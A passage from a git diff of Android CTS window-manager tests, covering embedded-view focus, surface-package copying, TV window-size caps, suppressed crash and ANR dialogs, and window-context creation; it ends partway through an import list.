diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
index 55e6cc1..571fa9d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
@@ -19,11 +19,19 @@
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
+import static android.view.SurfaceControlViewHost.*;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.rule.ActivityTestRule;
+import org.junit.Before;
+import org.junit.Test;
 
 import android.app.Activity;
 import android.app.ActivityManager;
@@ -32,35 +40,24 @@
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.FeatureInfo;
 import android.graphics.PixelFormat;
-import android.graphics.Point;
-import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
 import android.platform.test.annotations.RequiresDevice;
 import android.view.Gravity;
+import android.view.SurfaceControlViewHost;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
 import android.view.View;
 import android.view.ViewGroup;
-import android.view.SurfaceControl;
-import android.view.SurfaceHolder;
-import android.view.SurfaceHolder.Callback;
-import android.view.WindowInsets;
+import android.view.ViewTreeObserver;
 import android.view.WindowManager;
-import android.view.SurfaceControlViewHost;
-import android.widget.FrameLayout;
 import android.widget.Button;
-
-import android.view.SurfaceView;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.FlakyTest;
-import androidx.test.rule.ActivityTestRule;
+import android.widget.FrameLayout;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
-
-import android.platform.test.annotations.Presubmit;
-
-import org.junit.Before;
-import org.junit.Test;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Ensure end-to-end functionality of SurfaceControlViewHost.
@@ -121,16 +118,69 @@
     private void addViewToSurfaceView(SurfaceView sv, View v, int width, int height) {
         mVr = new SurfaceControlViewHost(mActivity, mActivity.getDisplay(), sv.getHostToken());
 
-        sv.setChildSurfacePackage(mVr.getSurfacePackage());
 
         if (mEmbeddedLayoutParams == null) {
             mVr.setView(v, width, height);
         } else {
             mVr.setView(v, mEmbeddedLayoutParams);
         }
+
+        sv.setChildSurfacePackage(mVr.getSurfacePackage());
+
         assertEquals(v, mVr.getView());
     }
 
+    private void requestSurfaceViewFocus() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mSurfaceView.setFocusableInTouchMode(true);
+            mSurfaceView.requestFocusFromTouch();
+        });
+    }
+
+    private void assertWindowFocused(final View view, boolean hasWindowFocus) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
+                view, () -> {
+                    if (view.hasWindowFocus() == hasWindowFocus) {
+                        latch.countDown();
+                        return;
+                    }
+                    view.getViewTreeObserver().addOnWindowFocusChangeListener(
+                            new ViewTreeObserver.OnWindowFocusChangeListener() {
+                                @Override
+                                public void onWindowFocusChanged(boolean newFocusState) {
+                                    if (hasWindowFocus == newFocusState) {
+                                        view.getViewTreeObserver()
+                                                .removeOnWindowFocusChangeListener(this);
+                                        latch.countDown();
+                                    }
+                                }
+                            });
+                }
+        );
+
+        try {
+            if (!latch.await(3, TimeUnit.SECONDS)) {
+                fail();
+            }
+        } catch (InterruptedException e) {
+            fail();
+        }
+    }
+
+    private void waitUntilEmbeddedViewDrawn() throws Throwable {
+        // We use frameCommitCallback because we need to ensure HWUI
+        // has actually queued the frame.
+        final CountDownLatch latch = new CountDownLatch(1);
+        mActivityRule.runOnUiThread(() -> {
+            mEmbeddedView.getViewTreeObserver().registerFrameCommitCallback(
+                latch::countDown);
+            mEmbeddedView.invalidate();
+        });
+        assertTrue(latch.await(1, TimeUnit.SECONDS));
+
+    }
+
     @Override
     public void surfaceCreated(SurfaceHolder holder) {
         addViewToSurfaceView(mSurfaceView, mEmbeddedView,
@@ -155,6 +205,7 @@
 
         addSurfaceView(DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT);
         mInstrumentation.waitForIdleSync();
+        waitUntilEmbeddedViewDrawn();
 
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
         assertTrue(mClicked);
@@ -222,12 +273,8 @@
         mActivityRule.runOnUiThread(() -> {
                 mVr.relayout(bigEdgeLength, bigEdgeLength);
         });
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
-            mEmbeddedView, null);
-        // We need to draw twice to make sure the first buffer actually
-        // arrives.
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
-            mEmbeddedView, null);
+        mInstrumentation.waitForIdleSync();
+        waitUntilEmbeddedViewDrawn();
 
         // But after the click should hit.
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
@@ -289,4 +336,101 @@
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
         assertTrue(mClicked);
     }
+
+    @Test
+    public void testFocusable() throws Throwable {
+        mEmbeddedView = new Button(mActivity);
+        addSurfaceView(DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT);
+        mInstrumentation.waitForIdleSync();
+        waitUntilEmbeddedViewDrawn();
+
+        // When surface view is focused, it should transfer focus to the embedded view.
+        requestSurfaceViewFocus();
+        assertWindowFocused(mEmbeddedView, true);
+        // assert host does not have focus
+        assertWindowFocused(mSurfaceView, false);
+
+        // When surface view is no longer focused, it should transfer focus back to the host window.
+        mActivityRule.runOnUiThread(() -> mSurfaceView.setFocusable(false));
+        assertWindowFocused(mEmbeddedView, false);
+        // assert host has focus
+        assertWindowFocused(mSurfaceView, true);
+    }
+
+    @Test
+    public void testNotFocusable() throws Throwable {
+        mEmbeddedView = new Button(mActivity);
+        addSurfaceView(DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT);
+        mEmbeddedLayoutParams = new WindowManager.LayoutParams(mEmbeddedViewWidth,
+                mEmbeddedViewHeight, WindowManager.LayoutParams.TYPE_APPLICATION, 0,
+                PixelFormat.OPAQUE);
+        mActivityRule.runOnUiThread(() -> {
+            mEmbeddedLayoutParams.flags |= FLAG_NOT_FOCUSABLE;
+            mVr.relayout(mEmbeddedLayoutParams);
+        });
+        mInstrumentation.waitForIdleSync();
+        waitUntilEmbeddedViewDrawn();
+
+        // When surface view is focused, nothing should happen since the embedded view is not
+        // focusable.
+        requestSurfaceViewFocus();
+        assertWindowFocused(mEmbeddedView, false);
+        // assert host has focus
+        assertWindowFocused(mSurfaceView, true);
+    }
+
+    private static class SurfaceCreatedCallback implements SurfaceHolder.Callback {
+        private final CountDownLatch mSurfaceCreated;
+        SurfaceCreatedCallback(CountDownLatch latch) {
+            mSurfaceCreated = latch;
+        }
+        @Override
+        public void surfaceCreated(SurfaceHolder holder) {
+            mSurfaceCreated.countDown();
+        }
+
+        @Override
+        public void surfaceDestroyed(SurfaceHolder holder) {}
+
+        @Override
+        public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}
+    }
+
+    @Test
+    public void testCanCopySurfacePackage() throws Throwable {
+        // Create a surface view and wait for its surface to be created.
+        CountDownLatch surfaceCreated = new CountDownLatch(1);
+        mActivityRule.runOnUiThread(() -> {
+            final FrameLayout content = new FrameLayout(mActivity);
+            mSurfaceView = new SurfaceView(mActivity);
+            mSurfaceView.setZOrderOnTop(true);
+            content.addView(mSurfaceView, new FrameLayout.LayoutParams(
+                    DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT, Gravity.LEFT | Gravity.TOP));
+            mActivity.setContentView(content, new ViewGroup.LayoutParams(DEFAULT_SURFACE_VIEW_WIDTH, DEFAULT_SURFACE_VIEW_HEIGHT));
+            mSurfaceView.getHolder().addCallback(new SurfaceCreatedCallback(surfaceCreated));
+
+            // Create an embedded view.
+            mVr = new SurfaceControlViewHost(mActivity, mActivity.getDisplay(),
+                    mSurfaceView.getHostToken());
+            mEmbeddedView = new Button(mActivity);
+            mEmbeddedView.setOnClickListener((View v) -> mClicked = true);
+            mVr.setView(mEmbeddedView, mEmbeddedViewWidth, mEmbeddedViewHeight);
+
+        });
+        surfaceCreated.await();
+
+        // Make a copy of the SurfacePackage and release the original package.
+        SurfacePackage surfacePackage = mVr.getSurfacePackage();
+        SurfacePackage copy = new SurfacePackage(surfacePackage);
+        surfacePackage.release();
+        mSurfaceView.setChildSurfacePackage(copy);
+
+        mInstrumentation.waitForIdleSync();
+        waitUntilEmbeddedViewDrawn();
+
+        // Check if SurfacePackage copy remains valid even though the original package has
+        // been released.
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
+        assertTrue(mClicked);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewTest.java
index 67f51ab..767650d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceViewTest.java
@@ -161,7 +161,7 @@
     public void testOnDetachedFromWindow() {
         assertFalse(mMockSurfaceView.isDetachedFromWindow());
         assertTrue(mMockSurfaceView.isShown());
-        CtsKeyEventUtil.sendKeys(mInstrumentation, mMockSurfaceView, KeyEvent.KEYCODE_BACK);
+        mActivityRule.finishActivity();
         PollingCheck.waitFor(() -> mMockSurfaceView.isDetachedFromWindow() &&
                 !mMockSurfaceView.isShown());
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index c6778a8..2ca333e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -198,7 +198,7 @@
     @Test
     public void testCloseActivity_BothWallpaper_Translucent() {
         testCloseActivityTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                TRANSIT_TRANSLUCENT_ACTIVITY_CLOSE);
+                TRANSIT_WALLPAPER_INTRA_CLOSE);
     }
 
     @Test
@@ -216,7 +216,7 @@
     @Test
     public void testCloseTask_BothWallpaper_Translucent() {
         testCloseTaskTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                TRANSIT_TRANSLUCENT_ACTIVITY_CLOSE);
+                TRANSIT_WALLPAPER_INTRA_CLOSE);
     }
 
     //------------------------------------------------------------------------//
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TvMaxWindowSizeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TvMaxWindowSizeTests.java
new file mode 100644
index 0000000..4daae77
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TvMaxWindowSizeTests.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+
+import static android.content.pm.PackageManager.FEATURE_LEANBACK;
+import static android.content.pm.PackageManager.FEATURE_LEANBACK_ONLY;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app30.Components.SDK_30_TEST_ACTIVITY;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import static java.util.Objects.requireNonNull;
+
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.graphics.Point;
+import android.hardware.display.DisplayManager;
+import android.view.Display;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * The goal of this test is to make sure that on Android TV applications with target SDK version
+ * lower than S do not get a larger than 1080p (1920x1080) Window.
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:TvMaxWindowSizeTests
+ */
+public class TvMaxWindowSizeTests extends ActivityManagerTestBase {
+
+    private int mDisplayLongestWidth;
+    private int mDisplayShortestWidth;
+
+    @Before
+    public void setUp() {
+        // We only need to run this on TV.
+        final PackageManager pm = mInstrumentation.getContext().getPackageManager();
+        final boolean isTv = pm.hasSystemFeature(FEATURE_LEANBACK) ||
+                pm.hasSystemFeature(FEATURE_LEANBACK_ONLY);
+        assumeTrue(isTv);
+
+        // Get the real size of the display.
+        final DisplayManager dm = mInstrumentation.getContext()
+                .getSystemService(DisplayManager.class);
+        requireNonNull(dm);
+        final Display display = dm.getDisplay(Display.DEFAULT_DISPLAY);
+        assumeNotNull(display);
+        final Point displaySize = new Point();
+        display.getRealSize(displaySize);
+        mDisplayLongestWidth = Math.max(displaySize.x, displaySize.y);
+        mDisplayShortestWidth = Math.min(displaySize.x, displaySize.y);
+    }
+
+    @Test
+    public void test_preSApplication_1080p_windowSizeCap() {
+        // Only run this if the resolution is over 1080p (at least on one side).
+        assumeFalse(mDisplayLongestWidth <= 1920 && mDisplayShortestWidth <= 1080);
+
+        final CommandSession.SizeInfo sizeInfo = launchAndGetReportedSizes(SDK_30_TEST_ACTIVITY);
+
+        final int longestWidth = Math.max(sizeInfo.windowAppWidth, sizeInfo.windowAppHeight);
+        final int shortestWidth = Math.min(sizeInfo.windowAppWidth, sizeInfo.windowAppHeight);
+
+        assertThat(longestWidth, lessThanOrEqualTo(1920));
+        assertThat(shortestWidth, lessThanOrEqualTo(1080));
+    }
+
+    @Test
+    public void test_windowSize_notLargerThan_displaySize() {
+        final CommandSession.SizeInfo sizeInfo = launchAndGetReportedSizes(TEST_ACTIVITY);
+
+        final int longestWidth = Math.max(sizeInfo.windowAppWidth, sizeInfo.windowAppHeight);
+        final int shortestWidth = Math.min(sizeInfo.windowAppWidth, sizeInfo.windowAppHeight);
+
+        assertThat(longestWidth, lessThanOrEqualTo(mDisplayLongestWidth));
+        assertThat(shortestWidth, lessThanOrEqualTo(mDisplayShortestWidth));
+    }
+
+    private CommandSession.SizeInfo launchAndGetReportedSizes(ComponentName componentName) {
+        startActivityOnDisplay(Display.DEFAULT_DISPLAY, componentName);
+        mWmState.computeState(new WaitForValidActivityState(componentName));
+        final CommandSession.SizeInfo sizeInfo = getLastReportedSizesForActivity(componentName);
+        assertNotNull(sizeInfo);
+        return sizeInfo;
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
new file mode 100644
index 0000000..99e9659
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+import android.content.ComponentName;
+import android.os.SystemClock;
+import android.platform.test.annotations.Postsubmit;
+import android.provider.Settings;
+import android.server.wm.annotation.Group3;
+import android.server.wm.app.Components;
+import android.server.wm.settings.SettingsSession;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.view.KeyEvent;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test scenarios where crash dialogs should not be shown if they are not supported.
+ *
+ * <p>Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:UnsupportedErrorDialogTests
+ */
+@Group3
+@Postsubmit
+public class UnsupportedErrorDialogTests extends ActivityManagerTestBase {
+    private final UiDevice mUiDevice = UiDevice.getInstance(mInstrumentation);
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        // These tests are for cases when error dialogs are not supported
+        Assume.assumeFalse(ActivityTaskManager.currentUiModeSupportsErrorDialogs(mContext));
+        super.setUp();
+        resetAppErrors();
+    }
+
+    /** Make sure the developer options apply correctly leading to the dialog being shown. */
+    @Test
+    public void testDevSettingOverride() {
+        try (SettingsSession<Integer> devDialogShow =
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+             SettingsSession<Integer> showOnFirstCrash =
+                     globalIntSession(Settings.Global.SHOW_FIRST_CRASH_DIALOG);
+             SettingsSession<Integer> showOnFirstCrashDev =
+                     secureIntSession(Settings.Secure.SHOW_FIRST_CRASH_DIALOG_DEV_OPTION)) {
+            // set developer setting to show dialogs anyway
+            devDialogShow.set(1);
+
+            // enable only the regular option for showing the crash dialog after the first crash
+            showOnFirstCrash.set(1);
+            showOnFirstCrashDev.set(0);
+            launchActivityNoWait(Components.CRASHING_ACTIVITY);
+            findCrashDialogAndCloseApp();
+            ensureHomeFocused();
+
+            resetAppErrors();
+
+            // enable only the dev option for showing the crash dialog after the first crash
+            showOnFirstCrash.set(0);
+            showOnFirstCrashDev.set(1);
+            launchActivityNoWait(Components.CRASHING_ACTIVITY);
+            findCrashDialogAndCloseApp();
+            ensureHomeFocused();
+        }
+    }
+
+    /**
+     * Make sure the dialog appears if the dev option is set even if the user specifically
+     * set to suppress it.
+     */
+    @Test
+    public void testDevSettingPrecedence() {
+        try (SettingsSession<Integer> devDialogShow =
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+             SettingsSession<Integer> userDialogHide =
+                     globalIntSession(Settings.Global.HIDE_ERROR_DIALOGS);
+             SettingsSession<Integer> showOnFirstCrash =
+                     globalIntSession(Settings.Global.SHOW_FIRST_CRASH_DIALOG)
+        ) {
+            devDialogShow.set(1);
+            showOnFirstCrash.set(1);
+            userDialogHide.set(1);
+
+            launchActivityNoWait(Components.CRASHING_ACTIVITY);
+            findCrashDialogAndCloseApp();
+            ensureHomeFocused();
+        }
+    }
+
+    /** Make sure the AppError dialog is not shown even if would have after the initial crash. */
+    @Test
+    public void testFirstCrashDialogNotShown() {
+        try (SettingsSession<Integer> devDialogShow =
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+             SettingsSession<Integer> showOnFirstCrash =
+                     globalIntSession(Settings.Global.SHOW_FIRST_CRASH_DIALOG)) {
+            devDialogShow.set(0);
+            // enable showing crash dialog after first crash
+            showOnFirstCrash.set(1);
+
+            launchActivityNoWait(Components.CRASHING_ACTIVITY);
+
+            ensureNoCrashDialog(Components.CRASHING_ACTIVITY);
+            ensureHomeFocused();
+        }
+    }
+
+    /** Ensure the AppError dialog is not shown even after multiple crashes. */
+    @Test
+    public void testRepeatedCrashDialogNotShown() {
+        try (SettingsSession<Integer> devDialogShow =
+                     secureIntSession(Settings.Secure.ANR_SHOW_BACKGROUND);
+             SettingsSession<Integer> showOnFirstCrash =
+                     globalIntSession("show_first_crash_dialog");
+             SettingsSession<Integer> showOnFirstCrashDev =
+                     secureIntSession("show_first_crash_dialog_dev_option")) {
+            // disable all overrides
+            devDialogShow.set(0);
+            showOnFirstCrash.set(0);
+            showOnFirstCrashDev.set(0);
+
+            // repeatedly crash the app without resetting AppErrors
+            for (int i = 0; i < 5; i++) {
+                launchActivityNoWait(Components.CRASHING_ACTIVITY);
+                ensureNoCrashDialog(Components.CRASHING_ACTIVITY);
+            }
+            ensureHomeFocused();
+        }
+    }
+
+    /** Ensure the ANR dialog is also not shown. */
+    @Test
+    public void testAnrIsNotShown() {
+        // leave the settings at their defaults
+        // launch non responsive app
+        executeShellCommand(getAmStartCmd(Components.UNRESPONSIVE_ACTIVITY) + " --ei "
+                + Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS + " 30000");
+        // wait for app to be focused
+        mWmState.waitAndAssertAppFocus(Components.UNRESPONSIVE_ACTIVITY.getPackageName(),
+                2_000 /* waitTime */);
+        // queue up enough key events to trigger an ANR
+        for (int i = 0; i < 14; i++) {
+            injectKey(KeyEvent.KEYCODE_TAB, false /* longPress */, false /* sync */);
+            SystemClock.sleep(500);
+        }
+        ensureNoCrashDialog(Components.UNRESPONSIVE_ACTIVITY);
+        ensureHomeFocused();
+    }
+
+    private void findCrashDialogAndCloseApp() {
+        UiObject2 closeAppButton = findCloseButton();
+        assertNotNull("Could not find crash dialog!", closeAppButton);
+        closeAppButton.click();
+    }
+
+    private void ensureNoCrashDialog(ComponentName activity) {
+        UiObject2 closeButton = findCloseButton();
+        if (closeButton != null) {
+            closeButton.click();
+            fail("An unexpected crash dialog appeared!");
+        }
+        final int numWindows = mWmState.getWindowsByPackageName(activity.getPackageName()).size();
+        assertEquals(0, numWindows);
+    }
+
+    private void ensureHomeFocused() {
+        mWmState.computeState();
+        mWmState.assertFocusedActivity("The home activity should be visible!",
+                mWmState.getHomeActivityName());
+    }
+
+    /** Attempt to find the close button of a crash or ANR dialog in at most 2 seconds. */
+    private UiObject2 findCloseButton() {
+        return mUiDevice.wait(
+                Until.findObject(By.res("android:id/aerr_close")),
+                2_000);
+    }
+
+    private void resetAppErrors() {
+        SystemUtil.runWithShellPermissionIdentity(mAm::resetAppErrors,
+                android.Manifest.permission.RESET_APP_ERRORS);
+    }
+
+    private SettingsSession<Integer> globalIntSession(String settingName) {
+        return new SettingsSession<>(
+                Settings.Global.getUriFor(settingName),
+                Settings.Global::getInt, Settings.Global::putInt);
+    }
+
+    private SettingsSession<Integer> secureIntSession(String settingName) {
+        return new SettingsSession<>(
+                Settings.Secure.getUriFor(settingName),
+                Settings.Secure::getInt, Settings.Secure::putInt);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
index a115396..66468a3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
@@ -16,10 +16,34 @@
 
 package android.server.wm;
 
+import static android.view.WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_ATTACHED_DIALOG;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_MEDIA;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_STARTING;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_SUB_PANEL;
+import static android.view.WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
+import static android.view.WindowManager.LayoutParams.TYPE_DRAWN_APPLICATION;
+import static android.view.WindowManager.LayoutParams.TYPE_INPUT_METHOD;
+import static android.view.WindowManager.LayoutParams.TYPE_INPUT_METHOD_DIALOG;
+import static android.view.WindowManager.LayoutParams.TYPE_KEYGUARD_DIALOG;
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIORITY_PHONE;
+import static android.view.WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION;
+import static android.view.WindowManager.LayoutParams.TYPE_SEARCH_BAR;
+import static android.view.WindowManager.LayoutParams.TYPE_STATUS_BAR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
+import static android.view.WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_TOAST;
+import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
 
+import android.content.Context;
 import android.platform.test.annotations.Presubmit;
+import android.view.Display;
 
 import org.junit.Test;
 
@@ -37,20 +61,47 @@
         mContext.createWindowContext(TYPE_APPLICATION_OVERLAY, null);
     }
 
-    @Test(expected = UnsupportedOperationException.class)
-    public void testCreateTooManyWindowContextWithoutViewThrowException() {
+    @Test(expected = IllegalArgumentException.class)
+    public void testWindowContextWithNullDisplay() {
+        final Context displayContext = createDisplayContext(Display.DEFAULT_DISPLAY);
+        displayContext.createWindowContext(null /* display */, TYPE_APPLICATION_OVERLAY,
+                null /* options */);
+    }
+
+    @Test
+    public void testWindowContextWithDisplayOnNonUiContext() {
         createAllowSystemAlertWindowAppOpSession();
-        final WindowManagerState.DisplayContent display =  createManagedVirtualDisplaySession()
+        final Display display = mDm.getDisplay(Display.DEFAULT_DISPLAY);
+        mContext.createWindowContext(display, TYPE_APPLICATION_OVERLAY, null /* options */);
+    }
+
+    @Test
+    public void testCreateMultipleWindowContextsWithoutView() {
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
-        for (int i = 0; i < 6; i++) {
+        for (int i = 0; i < 10; i++) {
             createWindowContext(display.mId);
         }
     }
 
-    @Test(expected = RuntimeException.class)
-    public void testWindowContextWithIllegalWindowType() {
-        final WindowManagerState.DisplayContent display =  createManagedVirtualDisplaySession()
+    @Test
+    public void testWindowContextWithAllPublicTypes() {
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
-        createWindowContext(display.mId, TYPE_APPLICATION);
+
+        final int[] allPublicWindowTypes = new int[] {
+                TYPE_BASE_APPLICATION, TYPE_APPLICATION, TYPE_APPLICATION_STARTING,
+                TYPE_DRAWN_APPLICATION, TYPE_APPLICATION_PANEL, TYPE_APPLICATION_MEDIA,
+                TYPE_APPLICATION_SUB_PANEL, TYPE_APPLICATION_ATTACHED_DIALOG,
+                TYPE_STATUS_BAR, TYPE_SEARCH_BAR, TYPE_PHONE, TYPE_SYSTEM_ALERT,
+                TYPE_TOAST, TYPE_SYSTEM_OVERLAY, TYPE_PRIORITY_PHONE,
+                TYPE_SYSTEM_DIALOG, TYPE_KEYGUARD_DIALOG, TYPE_SYSTEM_ERROR, TYPE_INPUT_METHOD,
+                TYPE_INPUT_METHOD_DIALOG, TYPE_WALLPAPER, TYPE_PRIVATE_PRESENTATION,
+                TYPE_ACCESSIBILITY_OVERLAY, TYPE_APPLICATION_OVERLAY
+        };
+
+        for (int windowType : allPublicWindowTypes) {
+            createWindowContext(display.mId, windowType);
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
index 83407f6..1587b0f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTestBase.java
@@ -23,14 +23,17 @@
 
 /**  Base class for window context tests */
 class WindowContextTestBase extends MultiDisplayTestBase {
+    Context createDisplayContext(int displayId) {
+        final Display display = mDm.getDisplay(displayId);
+        return mContext.createDisplayContext(display);
+    }
 
     Context createWindowContext(int displayId) {
         return createWindowContext(displayId, TYPE_APPLICATION_OVERLAY);
     }
 
     Context createWindowContext(int displayId, int type) {
-        final Display display = mDm.getDisplay(displayId);
-        return mContext.createDisplayContext(display).createWindowContext(
+        return createDisplayContext(displayId).createWindowContext(
                 type, null /* options */);
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
index 99588ce..c556cd9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
@@ -16,19 +16,42 @@
 
 package android.server.wm;
 
+import static android.server.wm.WindowManagerTestBase.startActivity;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
-import static org.junit.Assert.assertEquals;
+import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ComponentCallbacks;
+import android.content.ComponentName;
 import android.content.Context;
+import android.content.Intent;
